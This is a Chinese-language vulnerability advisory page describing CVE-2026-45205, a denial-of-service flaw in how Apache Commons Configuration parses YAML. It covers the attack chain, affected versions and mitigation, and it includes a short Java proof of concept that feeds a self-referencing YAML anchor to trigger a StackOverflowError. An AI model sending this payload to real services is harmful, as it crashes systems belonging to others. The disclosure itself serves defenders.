IPBUF安全漏洞报告
English
CVE-2026-45205 CVSS 5.3 中危

CVE-2026-45205 Apache Commons Configuration不受控递归漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-45205
漏洞类型
不受控递归
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Commons Configuration

相关标签

不受控递归拒绝服务Apache Commons ConfigurationYAML解析CVE-2026-45205

漏洞概述

Apache Commons Configuration在处理包含循环的YAML配置文件时存在不受控递归漏洞。攻击者可诱导应用加载特制YAML文件,触发StackOverflowError导致服务崩溃,造成拒绝服务。

技术细节

该漏洞源于Apache Commons Configuration在解析YAML格式配置时,未对输入数据结构进行充分的循环检测与深度限制。当应用程序加载并解析特制的YAML文件(包含循环引用结构)时,解析器会陷入无限递归调用。由于递归深度不受控,导致Java虚拟机栈空间迅速耗尽,最终抛出StackOverflowError异常。攻击者无需认证,通过网络传递恶意配置文件即可利用此漏洞,造成目标服务不可用。

攻击链分析

STEP 1
准备恶意文件
攻击者构造包含循环引用结构的恶意YAML配置文件。
STEP 2
传递恶意输入
攻击者通过网络将恶意YAML文件上传或发送至目标应用程序的配置加载接口。
STEP 3
触发漏洞解析
应用程序使用受影响的Apache Commons Configuration组件解析该文件,解析器陷入无限递归。
STEP 4
导致拒绝服务
Java虚拟机栈空间耗尽,抛出StackOverflowError,导致服务进程崩溃或停止响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import org.apache.commons.configuration2.YAMLConfiguration; import java.io.StringReader; public class CVE202645205_PoC { public static void main(String[] args) { try { // Create a YAML configuration instance YAMLConfiguration config = new YAMLConfiguration(); // Malicious YAML input with a recursive cycle // This structure causes infinite recursion during parsing String maliciousYaml = "cycle: &cycle\n field: *cycle"; // Attempt to read the malicious configuration config.read(new StringReader(maliciousYaml)); System.out.println("Exploit failed: StackOverflow not triggered."); } catch (StackOverflowError e) { System.out.println("Exploit successful: StackOverflowError triggered."); e.printStackTrace(); } catch (Exception e) { System.out.println("Other error: " + e.getMessage()); } } }

影响范围

Apache Commons Configuration 2.2
Apache Commons Configuration 2.3
Apache Commons Configuration 2.4
Apache Commons Configuration 2.5
Apache Commons Configuration 2.6
Apache Commons Configuration 2.7
Apache Commons Configuration 2.8
Apache Commons Configuration 2.9
Apache Commons Configuration 2.10
Apache Commons Configuration 2.11.0
Apache Commons Configuration 2.11.1
Apache Commons Configuration 2.15.0之前所有版本

防御指南

临时缓解措施
在升级补丁前,应严格限制应用程序加载的YAML配置文件来源,避免解析不可信的YAML数据。可考虑在应用网关层对上传的配置文件进行深度检查,过滤包含循环引用的复杂结构。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表